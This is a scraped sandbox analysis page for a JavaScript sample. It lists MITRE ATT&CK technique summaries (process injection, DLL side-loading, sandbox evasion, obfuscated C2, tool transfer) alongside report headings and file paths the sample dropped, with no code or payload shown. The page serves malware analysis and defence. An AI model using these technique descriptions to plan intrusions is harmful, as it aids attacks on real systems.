Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 18607323151113325657.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\6121a24e-6e9a-4d1c-8c3e-98108ba21227.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5560

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
18607323151113325657.js